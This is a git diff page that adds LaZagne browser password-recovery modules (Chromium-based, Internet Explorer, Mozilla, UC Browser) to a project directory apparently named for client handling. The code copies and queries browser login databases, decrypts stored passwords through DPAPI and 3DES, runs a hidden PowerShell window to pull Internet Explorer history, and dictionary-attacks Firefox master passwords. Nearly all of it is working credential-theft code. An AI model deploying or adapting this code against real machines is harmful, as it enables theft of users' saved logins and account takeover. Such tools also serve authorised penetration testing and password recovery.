summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/browsers
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/browsers')
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/chromium_based.py203
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/ie.py197
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/mozilla.py490
-rw-r--r--foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py21
5 files changed, 911 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/browsers/__init__.py b/foreign/client_handling/lazagne/softwares/browsers/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py
new file mode 100644
index 0000000..7fc7e85
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py
@@ -0,0 +1,203 @@
+# -*- coding: utf-8 -*-
+import base64
+import json
+import os
+import random
+import shutil
+import sqlite3
+import string
+import tempfile
+import traceback
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.softwares.windows.credman import Credman
+
+
+class ChromiumBased(ModuleInfo):
+ def __init__(self, browser_name, paths):
+ self.paths = paths if isinstance(paths, list) else [paths]
+ self.database_query = 'SELECT action_url, username_value, password_value FROM logins'
+ ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True)
+
+ def _get_database_dirs(self):
+ """
+ Return database directories for all profiles within all paths
+ """
+ databases = set()
+ for path in [p.format(**constant.profile) for p in self.paths]:
+ profiles_path = os.path.join(path, u'Local State')
+ if os.path.exists(profiles_path):
+ # List all users profile (empty string means current dir, without a profile)
+ profiles = {'Default', ''}
+
+ # Automatic join all other additional profiles
+ for dirs in os.listdir(path):
+ dirs_path = os.path.join(path, dirs)
+ if (os.path.isdir(dirs_path) == True) and (dirs.startswith('Profile')):
+ profiles.extend(dirs)
+
+ with open(profiles_path) as f:
+ try:
+ data = json.load(f)
+ # Add profiles from json to Default profile. set removes duplicates
+ profiles |= set(data['profile']['info_cache'])
+ except Exception:
+ pass
+
+ # Each profile has its own password database
+ for profile in profiles:
+ # Some browsers use names other than "Login Data"
+ # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18"
+ try:
+ db_files = os.listdir(os.path.join(path, profile))
+ except Exception:
+ continue
+ for db in db_files:
+ if u'login data' in db.lower():
+ databases.add(os.path.join(path, profile, db))
+ return databases
+
+ def _export_credentials(self, db_path, is_yandex=False):
+ """
+ Export credentials from the given database
+
+ :param unicode db_path: database path
+ :return: list of credentials
+ :rtype: tuple
+ """
+ credentials = []
+ yandex_enckey = None
+
+ if is_yandex:
+ try:
+ credman_passwords = Credman().run()
+ for credman_password in credman_passwords:
+ if b'Yandex' in credman_password.get('URL', b''):
+ if credman_password.get('Password'):
+ yandex_enckey = credman_password.get('Password')
+ self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey)))
+ except Exception:
+ self.debug(traceback.format_exc())
+ # Passwords could not be decrypted without encKey
+ self.info('EncKey has not been retrieved')
+ return []
+
+ try:
+ conn = sqlite3.connect(db_path)
+ cursor = conn.cursor()
+ cursor.execute(self.database_query)
+ except Exception:
+ self.debug(traceback.format_exc())
+ return credentials
+
+ for url, login, password in cursor.fetchall():
+ try:
+ # Yandex passwords use a masterkey stored on windows credential manager
+ # https://yandex.com/support/browser-passwords-crypto/without-master.html
+ if is_yandex and yandex_enckey:
+ try:
+ p = json.loads(str(password))
+ except Exception:
+ p = json.loads(password)
+
+ password = base64.b64decode(p['p'])
+
+ # Passwords are stored using AES-256-GCM algorithm
+ # The key used to encrypt is stored on the credential manager
+
+ # from cryptography.hazmat.primitives.ciphers.aead import AESGCM
+ # aesgcm = AESGCM(yandex_enckey)
+ # Failed...
+ else:
+ # Decrypt the Password
+ password = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,
+ user_dpapi=constant.user_dpapi)
+
+ if not url and not login and not password:
+ continue
+
+ credentials.append((url, login, password))
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ conn.close()
+ return credentials
+
+ def copy_db(self, database_path):
+ """
+ Copying db will bypass lock errors
+ Using user tempfile will produce an error when impersonating users (Permission denied)
+ A public directory should be used if this error occured (e.g C:\\Users\\Public)
+ """
+ random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)])
+ root_dir = [
+ tempfile.gettempdir(),
+ os.environ.get('PUBLIC', None),
+ os.environ.get('SystemDrive', None) + '\\',
+ ]
+ for r in root_dir:
+ try:
+ temp = os.path.join(r, random_name)
+ shutil.copy(database_path, temp)
+ self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp))
+ return temp
+ except Exception:
+ self.debug(traceback.format_exc())
+ return False
+
+ def clean_file(self, db_path):
+ try:
+ os.remove(db_path)
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ def run(self):
+ credentials = []
+ for database_path in self._get_database_dirs():
+ is_yandex = False if 'yandex' not in database_path.lower() else True
+
+ # Remove Google Chrome false positif
+ if database_path.endswith('Login Data-journal'):
+ continue
+
+ self.debug('Database found: {db}'.format(db=database_path))
+
+ # Copy database before to query it (bypass lock errors)
+ path = self.copy_db(database_path)
+ if path:
+ try:
+ credentials.extend(self._export_credentials(path, is_yandex))
+ except Exception:
+ self.debug(traceback.format_exc())
+ self.clean_file(path)
+
+ return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)]
+
+
+# Name, path or a list of paths
+chromium_browsers = [
+ (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'),
+ (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'),
+ (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'),
+ (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'),
+ (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'),
+ (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'),
+ (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'),
+ (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'),
+ (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based
+ (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'),
+ (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'),
+ (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
+ (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
+ (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
+ (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
+ (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
+ (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
+ (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'),
+ (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'),
+ (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data')
+]
+
+chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers]
diff --git a/foreign/client_handling/lazagne/softwares/browsers/ie.py b/foreign/client_handling/lazagne/softwares/browsers/ie.py
new file mode 100644
index 0000000..fcbbac8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/ie.py
@@ -0,0 +1,197 @@
+import hashlib
+import subprocess
+import traceback
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+try:
+ import _subprocess as sub
+ STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
+ SW_HIDE = sub.SW_HIDE
+except ImportError:
+ STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
+ SW_HIDE = subprocess.SW_HIDE
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+
+class IE(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True)
+
+ def get_hash_table(self):
+ # get the url list
+ urls = self.get_history()
+
+ # calculate the hash for all urls found on the history
+ hash_tables = []
+ for u in range(len(urls)):
+ try:
+ h = (urls[u] + '\0').encode('UTF-16LE')
+ hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()])
+ except Exception:
+ self.debug(traceback.format_exc())
+ return hash_tables
+
+ def get_history(self):
+ urls = self.history_from_regedit()
+ try:
+ urls = urls + self.history_from_powershell()
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/',
+ 'https://accounts.google.com/servicelogin']
+ return urls
+
+ def history_from_powershell(self):
+ # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/
+ cmdline = '''
+ function get-iehistory {
+ [CmdletBinding()]
+ param ()
+
+ $shell = New-Object -ComObject Shell.Application
+ $hist = $shell.NameSpace(34)
+ $folder = $hist.Self
+
+ $hist.Items() |
+ foreach {
+ if ($_.IsFolder) {
+ $siteFolder = $_.GetFolder
+ $siteFolder.Items() |
+ foreach {
+ $site = $_
+
+ if ($site.IsFolder) {
+ $pageFolder = $site.GetFolder
+ $pageFolder.Items() |
+ foreach {
+ $visit = New-Object -TypeName PSObject -Property @{
+ URL = $($pageFolder.GetDetailsOf($_,0))
+ }
+ $visit
+ }
+ }
+ }
+ }
+ }
+ }
+ get-iehistory
+ '''
+ command = ['powershell.exe', '/c', cmdline]
+ info = subprocess.STARTUPINFO()
+ info.dwFlags = STARTF_USESHOWWINDOW
+ info.wShowWindow = SW_HIDE
+ p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,
+ stdin=subprocess.PIPE, universal_newlines=True)
+ results, _ = p.communicate()
+
+ urls = []
+ for r in results.split('\n'):
+ if r.startswith('http'):
+ urls.append(r.strip())
+ return urls
+
+ def history_from_regedit(self):
+ urls = []
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs')
+ except Exception:
+ self.debug(traceback.format_exc())
+ return []
+
+ num = winreg.QueryInfoKey(hkey)[1]
+ for x in range(0, num):
+ k = winreg.EnumValue(hkey, x)
+ if k:
+ urls.append(k[1])
+ winreg.CloseKey(hkey)
+ return urls
+
+ def decipher_password(self, cipher_text, u):
+ pwd_found = []
+ # deciper the password
+ pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ a = ''
+ if pwd:
+ for i in range(len(pwd)):
+ try:
+ a = pwd[i:].decode('UTF-16LE')
+ a = a.decode('utf-8')
+ break
+ except Exception:
+ return []
+ if not a:
+ return []
+ # the last one is always equal to 0
+ secret = a.split('\x00')
+ if secret[len(secret) - 1] == '':
+ secret = secret[:len(secret) - 1]
+
+ # define the length of the tab
+ if len(secret) % 2 == 0:
+ length = len(secret)
+ else:
+ length = len(secret) - 1
+
+ # list username / password in clear text
+ password = None
+ for s in range(length):
+ try:
+ if s % 2 != 0:
+ pwd_found.append({
+ 'URL': u.decode('UTF-16LE'),
+ 'Login': secret[length - s],
+ 'Password': password
+ })
+ else:
+ password = secret[length - s]
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ return pwd_found
+
+ def run(self):
+ if float(win.get_os_version()) > 6.1:
+ self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)')
+ return
+
+ pwd_found = []
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2')
+ except Exception:
+ self.debug(traceback.format_exc())
+ else:
+ nb_site = 0
+ nb_pass_found = 0
+
+ # retrieve the urls from the history
+ hash_tables = self.get_hash_table()
+
+ num = winreg.QueryInfoKey(hkey)[1]
+ for x in range(0, num):
+ k = winreg.EnumValue(hkey, x)
+ if k:
+ nb_site += 1
+ for h in hash_tables:
+ # both hash are similar, we can decipher the password
+ if h[1] == k[0][:40].lower():
+ nb_pass_found += 1
+ cipher_text = k[1]
+ pwd_found += self.decipher_password(cipher_text, h[0])
+ break
+
+ winreg.CloseKey(hkey)
+
+ # manage errors
+ if nb_site > nb_pass_found:
+ self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the '
+ u'passwords has not been found' % str(nb_site - nb_pass_found))
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/browsers/mozilla.py b/foreign/client_handling/lazagne/softwares/browsers/mozilla.py
new file mode 100644
index 0000000..6f9c7e7
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/mozilla.py
@@ -0,0 +1,490 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472)
+# from https://github.com/lclevy/firepwd/blob/master/firepwd.py
+
+import hmac
+import json
+import sqlite3
+import struct
+import traceback
+from base64 import b64decode
+from binascii import unhexlify
+from hashlib import sha1
+
+from pyasn1.codec.der import decoder
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, CBC
+from foreign.client_handling.lazagne.config.dico import get_dic
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, convert_to_byte
+
+try:
+ from ConfigParser import RawConfigParser # Python 2.7
+except ImportError:
+ from configparser import RawConfigParser # Python 3
+import os
+
+
+def l(n):
+ try:
+ return long(n)
+ except NameError:
+ return int(n)
+
+
+def long_to_bytes(n, blocksize=0):
+ """long_to_bytes(n:long, blocksize:int) : string
+ Convert a long integer to a byte string.
+ If optional blocksize is given and greater than zero, pad the front of the
+ byte string with binary zeros so that the length is a multiple of
+ blocksize.
+ """
+ # after much testing, this algorithm was deemed to be the fastest
+ s = convert_to_byte('')
+ n = l(n)
+ while n > 0:
+ s = struct.pack('>I', n & 0xffffffff) + s
+ n = n >> 32
+
+ # strip off leading zeros
+ for i in range(len(s)):
+ if s[i] != convert_to_byte('\000')[0]:
+ break
+ else:
+ # only happens when n == 0
+ s = convert_to_byte('\000')
+ i = 0
+ s = s[i:]
+ # add back some pad bytes. this could be done more efficiently w.r.t. the
+ # de-padding being done above, but sigh...
+ if blocksize > 0 and len(s) % blocksize:
+ s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s
+
+ return s
+
+
+class Mozilla(ModuleInfo):
+
+ def __init__(self, browser_name, path):
+ self.path = path
+ ModuleInfo.__init__(self, browser_name, 'browsers')
+
+ def get_firefox_profiles(self, directory):
+ """
+ List all profiles
+ """
+ cp = RawConfigParser()
+ profile_list = []
+ try:
+ cp.read(os.path.join(directory, 'profiles.ini'))
+ for section in cp.sections():
+ if section.startswith('Profile') and cp.has_option(section, 'Path'):
+ profile_path = None
+
+ if cp.has_option(section, 'IsRelative'):
+ if cp.get(section, 'IsRelative') == '1':
+ profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
+ elif cp.get(section, 'IsRelative') == '0':
+ profile_path = cp.get(section, 'Path').strip()
+
+ else: # No "IsRelative" in profiles.ini
+ profile_path = os.path.join(directory, cp.get(section, 'Path').strip())
+
+ if profile_path:
+ profile_path.replace('/', '\\')
+ profile_list.append(profile_path)
+
+ except Exception as e:
+ self.error(u'An error occurred while reading profiles.ini: {}'.format(e))
+ return profile_list
+
+ def get_key(self, profile):
+ """
+ Get main key used to encrypt all data (user / password).
+ Depending on the Firefox version, could be stored in key3.db or key4.db file.
+ """
+ try:
+ row = None
+ # Remove error when file is empty
+ with open(os.path.join(profile, 'key4.db'), 'rb') as f:
+ content = f.read()
+
+ if content:
+ conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
+ c = conn.cursor()
+ # First check password
+ c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
+ try:
+ row = c.next() # Python 2
+ except Exception:
+ row = next(c) # Python 3
+
+ except Exception:
+ self.debug(traceback.format_exc())
+ else:
+ if row:
+ (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='', key_data=row)
+
+ if global_salt:
+ # Decrypt 3DES key to decrypt "logins.json" content
+ c.execute("SELECT a11,a102 FROM nssPrivate;")
+ for row in c:
+ if row[0]:
+ break
+ a11 = row[0] # CKA_VALUE
+ a102 = row[1] # f8000000000000000000000000000001, CKA_ID
+ # self.print_asn1(a11, len(a11), 0)
+ # SEQUENCE {
+ # SEQUENCE {
+ # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
+ # SEQUENCE {
+ # OCTETSTRING entry_salt_for_3des_key
+ # INTEGER 01
+ # }
+ # }
+ # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding)
+ # }
+ decoded_a11 = decoder.decode(a11)
+ entry_salt = decoded_a11[0][0][1][0].asOctets()
+ cipher_t = decoded_a11[0][1].asOctets()
+ key = self.decrypt_3des(global_salt, master_password, entry_salt, cipher_t)
+ if key:
+ self.debug(u'key: {key}'.format(key=repr(key)))
+ yield key[:24]
+
+ try:
+ key_data = self.read_bsddb(os.path.join(profile, 'key3.db'))
+ # Check masterpassword
+ (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='',
+ key_data=key_data,
+ new_version=False)
+ if global_salt:
+ key = self.extract_secret_key(key_data=key_data,
+ global_salt=global_salt,
+ master_password=master_password,
+ entry_salt=entry_salt)
+ if key:
+ self.debug(u'key: {key}'.format(key=repr(key)))
+ yield key[:24]
+ except Exception:
+ self.debug(traceback.format_exc())
+
+ @staticmethod
+ def get_short_le(d, a):
+ return struct.unpack('<H', d[a:a + 2])[0]
+
+ @staticmethod
+ def get_long_be(d, a):
+ return struct.unpack('>L', d[a:a + 4])[0]
+
+ def print_asn1(self, d, l, rl):
+ """
+ Used for debug
+ """
+ type_ = char_to_int(d[0])
+ length = char_to_int(d[1])
+ if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html,
+ # nByteLength = length & 0x7f
+ length = char_to_int(d[2])
+ # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and
+ # bits 7-1 give the number of additional length octets.
+ skip = 1
+ else:
+ skip = 0
+
+ if type_ == 0x30:
+ seq_len = length
+ read_len = 0
+ while seq_len > 0:
+ len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1)
+ seq_len = seq_len - len2
+ read_len = read_len + len2
+ return length + 2
+ elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER
+ return length + 2
+ elif length == l - 2:
+ self.print_asn1(d[2:], length, rl + 1)
+ return length
+
+ def read_bsddb(self, name):
+ """
+ Extract records from a BSD DB 1.85, hash mode
+ Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used
+ """
+ with open(name, 'rb') as f:
+ # http://download.oracle.com/berkeley-db/db.1.85.tar.gz
+ header = f.read(4 * 15)
+ magic = self.get_long_be(header, 0)
+ if magic != 0x61561:
+ self.error(u'Bad magic number')
+ return False
+
+ version = self.get_long_be(header, 4)
+ if version != 2:
+ self.error(u'Bad version !=2 (1.85)')
+ return False
+
+ pagesize = self.get_long_be(header, 12)
+ nkeys = self.get_long_be(header, 0x38)
+ readkeys = 0
+ page = 1
+ db1 = []
+
+ while readkeys < nkeys:
+ f.seek(pagesize * page)
+ offsets = f.read((nkeys + 1) * 4 + 2)
+ offset_vals = []
+ i = 0
+ nval = 0
+ val = 1
+ keys = 0
+
+ while nval != val:
+ keys += 1
+ key = self.get_short_le(offsets, 2 + i)
+ val = self.get_short_le(offsets, 4 + i)
+ nval = self.get_short_le(offsets, 8 + i)
+ offset_vals.append(key + pagesize * page)
+ offset_vals.append(val + pagesize * page)
+ readkeys += 1
+ i += 4
+
+ offset_vals.append(pagesize * (page + 1))
+ val_key = sorted(offset_vals)
+ for i in range(keys * 2):
+ f.seek(val_key[i])
+ data = f.read(val_key[i + 1] - val_key[i])
+ db1.append(data)
+ page += 1
+
+ db = {}
+ for i in range(0, len(db1), 2):
+ db[db1[i + 1]] = db1[i]
+
+ return db
+
+ @staticmethod
+ def decrypt_3des(global_salt, master_password, entry_salt, encrypted_data):
+ """
+ User master key is also encrypted (if provided, the master_password could be used to encrypt it)
+ """
+ # See http://www.drh-consultancy.demon.co.uk/key3.html
+ hp = sha1(global_salt + master_password.encode()).digest()
+ pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt))
+ chp = sha1(hp + entry_salt).digest()
+ k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
+ tk = hmac.new(chp, pes, sha1).digest()
+ k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
+ k = k1 + k2
+ iv = k[-8:]
+ key = k[:24]
+ return triple_des(key, CBC, iv).decrypt(encrypted_data)
+
+ def extract_secret_key(self, key_data, global_salt, master_password, entry_salt):
+
+ if unhexlify('f8000000000000000000000000000001') not in key_data:
+ return None
+
+ priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')]
+ salt_len = char_to_int(priv_key_entry[1])
+ name_len = char_to_int(priv_key_entry[2])
+ priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:])
+ data = priv_key_entry[3 + salt_len + name_len:]
+ # self.print_asn1(data, len(data), 0)
+
+ # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt
+ entry_salt = priv_key_entry_asn1[0][0][1][0].asOctets()
+ priv_key_data = priv_key_entry_asn1[0][1].asOctets()
+ priv_key = self.decrypt_3des(global_salt, master_password, entry_salt, priv_key_data)
+ # self.print_asn1(priv_key, len(priv_key), 0)
+ priv_key_asn1 = decoder.decode(priv_key)
+ pr_key = priv_key_asn1[0][2].asOctets()
+ # self.print_asn1(pr_key, len(pr_key), 0)
+ pr_key_asn1 = decoder.decode(pr_key)
+ # id = pr_key_asn1[0][1]
+ key = long_to_bytes(pr_key_asn1[0][3])
+ return key
+
+ @staticmethod
+ def decode_login_data(data):
+ asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode
+ # For login and password, keep :(key_id, iv, ciphertext)
+ return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets()
+
+ def get_login_data(self, profile):
+ """
+ Get encrypted data (user / password) and host from the json or sqlite files
+ """
+ conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite'))
+ logins = []
+ c = conn.cursor()
+ try:
+ c.execute('SELECT * FROM moz_logins;')
+ except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3
+ try:
+ logins_json = os.path.join(profile, 'logins.json')
+ if os.path.isfile(logins_json):
+ with open(logins_json) as f:
+ loginf = f.read()
+ if loginf:
+ json_logins = json.loads(loginf)
+ if 'logins' not in json_logins:
+ self.debug('No logins key in logins.json')
+ return logins
+ for row in json_logins['logins']:
+ enc_username = row['encryptedUsername']
+ enc_password = row['encryptedPassword']
+ logins.append((self.decode_login_data(enc_username),
+ self.decode_login_data(enc_password), row['hostname']))
+ return logins
+ except Exception:
+ self.debug(traceback.format_exc())
+ return []
+
+ # Using sqlite3 database
+ for row in c:
+ enc_username = row[6]
+ enc_password = row[7]
+ logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1]))
+ return logins
+
+ def manage_masterpassword(self, master_password='', key_data=None, new_version=True):
+ """
+ Check if a master password is set.
+ If so, try to find it using a dictionary attack
+ """
+ (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password,
+ key_data=key_data,
+ new_version=new_version)
+
+ if not global_salt:
+ self.info(u'Master Password is used !')
+ (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data,
+ new_version=new_version)
+ if not master_password:
+ return '', '', ''
+
+ return global_salt, master_password, entry_salt
+
+ def is_master_password_correct(self, key_data, master_password='', new_version=True):
+ try:
+ if not new_version:
+ # See http://www.drh-consultancy.demon.co.uk/key3.html
+ pwd_check = key_data.get(b'password-check')
+ if not pwd_check:
+ return '', '', ''
+ entry_salt_len = char_to_int(pwd_check[1])
+ entry_salt = pwd_check[3: 3 + entry_salt_len]
+ encrypted_passwd = pwd_check[-16:]
+ global_salt = key_data[b'global-salt']
+
+ else:
+ global_salt = key_data[0] # Item1
+ item2 = key_data[1]
+ # self.print_asn1(item2, len(item2), 0)
+ # SEQUENCE {
+ # SEQUENCE {
+ # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3
+ # SEQUENCE {
+ # OCTETSTRING entry_salt_for_passwd_check
+ # INTEGER 01
+ # }
+ # }
+ # OCTETSTRING encrypted_password_check
+ # }
+ decoded_item2 = decoder.decode(item2)
+ entry_salt = decoded_item2[0][0][1][0].asOctets()
+ encrypted_passwd = decoded_item2[0][1].asOctets()
+
+ cleartext_data = self.decrypt_3des(global_salt, master_password, entry_salt, encrypted_passwd)
+ if cleartext_data != convert_to_byte('password-check\x02\x02'):
+ return '', '', ''
+
+ return global_salt, master_password, entry_salt
+ except Exception:
+ self.debug(traceback.format_exc())
+ return '', '', ''
+
+ def brute_master_password(self, key_data, new_version=True):
+ """
+ Try to find master_password doing a dictionary attack using the 500 most used passwords
+ """
+ wordlist = constant.password_found + get_dic()
+ num_lines = (len(wordlist) - 1)
+ self.info(u'%d most used passwords! ' % num_lines)
+
+ for word in wordlist:
+ global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data,
+ master_password=word.strip(),
+ new_version=new_version)
+ if master_password:
+ self.debug(u'Master password found: {}'.format(master_password))
+ return global_salt, master_password, entry_salt
+
+ self.warning(u'No password has been found using the default list')
+ return '', '', ''
+
+ def remove_padding(self, data):
+ """
+ Remove PKCS#7 padding
+ """
+ try:
+ nb = struct.unpack('B', data[-1])[0] # Python 2
+ except Exception:
+ nb = data[-1] # Python 3
+
+ try:
+ return data[:-nb]
+ except Exception:
+ self.debug(traceback.format_exc())
+ return data
+
+ def decrypt(self, key, iv, ciphertext):
+ """
+ Decrypt ciphered data (user / password) using the key previously found
+ """
+ data = triple_des(key, CBC, iv).decrypt(ciphertext)
+ return self.remove_padding(data)
+
+ def run(self):
+ """
+ Main function
+ """
+ # path = self.get_path(software_name)
+ pwd_found = []
+ self.path = self.path.format(**constant.profile)
+ if os.path.exists(self.path):
+ for profile in self.get_firefox_profiles(self.path):
+ self.debug(u'Profile path found: {profile}'.format(profile=profile))
+
+ credentials = self.get_login_data(profile)
+ if credentials:
+ for key in self.get_key(profile):
+ for user, passw, url in credentials:
+ try:
+ pwd_found.append({
+ 'URL': url,
+ 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode("utf-8"),
+ 'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode("utf-8"),
+ })
+ except Exception as e:
+ self.debug(u'An error occurred decrypting the password: {error}'.format(error=e))
+ else:
+ self.info(u'Database empty')
+
+ return pwd_found
+
+
+# Name, path
+firefox_browsers = [
+ (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'),
+ (u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'),
+ (u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'),
+ (u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'),
+ (u'k-Meleon', u'{APPDATA}\\K-Meleon'),
+ (u'icecat', u'{APPDATA}\\Mozilla\\icecat'),
+]
+
+firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers]
diff --git a/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py b/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py
new file mode 100644
index 0000000..0089441
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py
@@ -0,0 +1,21 @@
+# -*- coding: utf-8 -*-
+import os
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.softwares.browsers.chromium_based import ChromiumBased
+
+
+class UCBrowser(ChromiumBased):
+ def __init__(self):
+ self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins'
+ ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True)
+
+ def _get_database_dirs(self):
+ data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile)
+ try:
+ # UC Browser seems to have random characters appended to the User Data dir so we'll list them all
+ self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)]
+ except Exception:
+ self.paths = []
+ return ChromiumBased._get_database_dirs(self)